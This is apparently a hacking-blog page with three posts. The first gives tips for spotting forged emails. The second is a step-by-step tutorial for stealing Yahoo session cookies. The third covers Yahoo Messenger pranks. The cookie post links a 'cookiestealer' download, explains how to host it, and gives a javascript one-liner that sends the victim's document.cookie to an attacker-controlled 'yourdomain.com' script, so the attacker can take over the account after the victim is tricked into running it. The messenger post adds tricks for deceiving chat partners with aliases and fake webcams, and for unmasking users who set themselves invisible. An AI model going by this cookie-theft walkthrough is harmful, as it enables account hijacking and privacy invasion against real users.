How to Detect Fake Emails Sent to You In Your Inbox ?

Few days back one of my readers asked me about the way to detect a fake mail. I thought that this can become a good point for writing an article. So, I am mentioning some tips to detect fake/fraud/spam mails.

How to Detect Fake Mails:

1. Lets get back to the example I illustrated in my article Fake Mailer. No doubt, this was fake and the receiver will get the fake email sent by me.

2. Suppose you are the receiver. Now, I will tell you how to recognize this mail as fake. Open the email and hit on "Show Details".

3. Something you must know:

Whenever Google sends you any email, the email details will contain fields like:
- Mailed by
- Signed by (optional)

Also, most of the times, "Mailed by" field will have value:
*.bounces.google.com or
*.google.com

depending on the type of your mail. This is true for every genuine email from every mail provider.

4. But, these two fields will not be present in the details of Fake Mail. Also, if the mail details contain these fields, the value of these fields will not be *.google.com

Fake Mail without "Mailed by" field:

Fake Mail with "Mailed by" field.

As you can see, the "mailed by" field shows the hosting server's name and not the Google server. This means, this server is used to send you the fake email and most probably, the fake mailer is hosted on the same server.

You can also check out the header field to detect fake mails. Follow the steps:

- Open the mail. Hit on down arrow next to "Reply" and click on "Show Original".

- Now, check out "Received" fields. This field will show you the name of server from which the mail is sent. As you can see, we have used "emkei.cz" as our fake mailer. So, it has appeared in "Received" field.

More Tips:

- Fake Mail usually have attractive titles.
- Such mails address receiver as "Dear Customer" or such and do not use your real name.
- Never click on any link in emails. Instead, open such links manually in new tab.

Follow these tips and you will be able to recognize fake, spoof, spam emails. If you know any other useful tip to detect fake or spam emails, please share it with us in comments.

Do you have questions, comments, or suggestions? Feel free to post a comment

Read More ->>

How to Hack Yahoo Password with Session IDs or session cookies?

What are session IDs or session cookies ?
Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched every time we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option.

Just login to yahoo.com. Type in browser javascript:alert(document.cookie);
You would get a pop up box showing you the cookies. Now login to your account and do same thing, you would see more elements added to the cookies. These represent sessions ids .

 Note: By saying , stealing sessions or stealing cookies, I mean the same thing. Sessions are stored in our browser in form of cookies.

 An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim  clicks 'Sign out' , session gets  destroyed and attacker too also gets signed out.

But in case of yahoo, its not the same.The attacker doesnt get signed out when victim clicks 'Sign out'. Though the session automatically gets destroyed after 24hrs  by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions for next 24 hrs. This means, once the  yahoo account session is stolen , attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.

Requirement: Download some files from here
 
http://www.ziddu.com/downloadlink/13712247/cookiestealer.rar
Tutorial to steal session IDs :-1. Sign Up for an account at any free webhosting site. I have chosen my3gb.com.
2.  Login to your account and go to file manager. Upload the four files that you have just downloaded.
    Make a new directory 'cookies' here.

 3. Give this  code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie)); 
He would again redirected to his yahoo account.
4. Open the hacked.php . The password is 'explore'.

You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password.

 Now it doesn't matter if victim signs out from his account, you would remain logged into it.

Note: You can try this attack by using two browsers. Sign into yahoo account in one browser and run the code. Then sign in through other browser using stolen session.

Read More ->>

Trick to Hack Yahoo Messenger with simple steps

Yahoo Messenger is one of the highly popular and most widely used instant messaging service in the world offering a wide variety of features to it’s users, all for free. This has made it the right choice for all those who are waiting to chat and communicate with their far away friends and relatives.

However, while some people use Yahoo Messenger only to chat with their friends and known ones, many others use it to have fun by joining the chat rooms and chatting with the strangers. If you’re a similar person who would like to have fun during the chat, this post if for you!

In this post, I will show you some really interesting Yahoo Messenger hacks using which it is possible to play pranks with your friends and strangers during the chat. Below is a list of some cool hacks that you’re sure to enjoy:

1. Chat with Multiple Names Simultaneously

How about chatting with your friend with two or more different names at a time? Well, do not think that this is impossible! This can easily be done with a simple workaround which enables you to chat with as many different names as you can with the same or different people.

For example, you may chat with Person-A using one name and with Person-B using the other. You can also chat with the same person using different names or any other combination. All of this goes really unnoticed by the user on the other side, while you are sure to have some real fun.

Here is a step-by-step procedure to implement this hack:

1. Sign in to your Yahoo Messenger. From the top, click on Messenger -> My Account Info. You will be taken to a web page where you need to log in to your account.
2. Now, you should be on the Profile Settings page. Scroll down to see the option Account Settings as shown below. From there, click on the link which says: “Manage your Yahoo! aliases”.
3. From the Aliases page, click on: “Add an alias”. You can create as many aliases you want. Choose unique names for your alias and once you’re done, click on “close”.
   
4. You need to sign out of Yahoo Messenger and sign in again to see the changes. Once you have done this, double-click on any name from your contact list or chat room to open a new chat window. You should now see a list of your aliases appearing in the chat window to choose from.
   
5. To chat with multiple names with a single person, just follow the steps below:
   • Double-click on the name of the person in the chat room or contact list.
   • Select any name from your “alias” list and ping the user with that name. Immediately close the chat window before you get a reply from that person.
   • Again double-click on the same person’s name and ping him/her with another name from your “alias” list. This time do not close the window.
   • Just wait a few seconds! When the person replies to both your pings, you will have two tabs in the same chat window from where you can chat with the same person using two different names. Enjoy!!!
     
     

     Before you try this hack, make sure that you have not set any display image for your profile. If not, there are chances of other person identifying your prank.

     To disable the display image, just click on Messenger -> My Display Image from the top menu of your YM window and set the option to “Don’t share a display image”.

I hope you like this hack. Now let us move forward to our next hack that is even more exciting!

2. Play Prank with Your Friends Using a Fake Webcam

Ever wanted to fool your friends with a fake web camera? If so, here is a cool hack using which it is possible to fool users on Yahoo Messenger with a fake webcam on your computer. Below is a step-by-step procedure to configure the fake webcam on your computer:

Download Fake Webcam software from the following link:

 Download Fake Webcam

1. Install Fake Webcam on your computer and configure it as follows.
2. From your Yahoo Messenger window, click on “Messenger” at the top and select the option “My Webcam”.
3. You should now get a blank Webcam Broadcast window. From there, click on File -> Preferences to open the “Yahoo! Messenger Preferences” window as shown below. From the “Category” list, select the option “Webcam Broadcast”.
   
   

   

   • As shown in the above snapshot, click on “Camera Source”, select “Fake Webcam Source” as your source of camera and click on “OK”.
   • Now, open the Fake Webcam application, load your favorite video and click on play button. You should now see the same video appearing on the Yahoo Messenger video broadcast window as show below:
   
   •  Click on “Broadcast” button on the Yahoo Messenger webcam window to start broadcasting the video.

   
   

   If you are using aliases, you can change your webcam profile from File -> Change Profile option on the webcam window to enable the webcam for the current alias.

   That’s it! You now have the fake webcam running on your computer.

   3. Yahoo Messenger Invisible Hack

   Most users on Yahoo Messenger hide their presence by activating the “invisible mode”, so that they appear as offline to everyone. But, how do you find out their true status? Well, here is a Yahoo Messenger invisible hack to catch those users who are hiding their true status by activating the “invisible mode”.

   There are many tools out there to do this job, but most of them are found to have been infected with trojan and other malware. However, I have found some of the free online services that help you identify the true status of Yahoo users:

   
   

   • YahooStatus
   • IMVisible
   • Detect Invisible
   • JDetector
   • Vizgin

   Just visit any of the above mentioned websites, enter the target Yahoo ID or screenname that you want to check and press the search button. With in a few seconds you will find out the true status of the user.

   Thankss for..Reading..I hope this is helpful..please comment below.

Read More ->>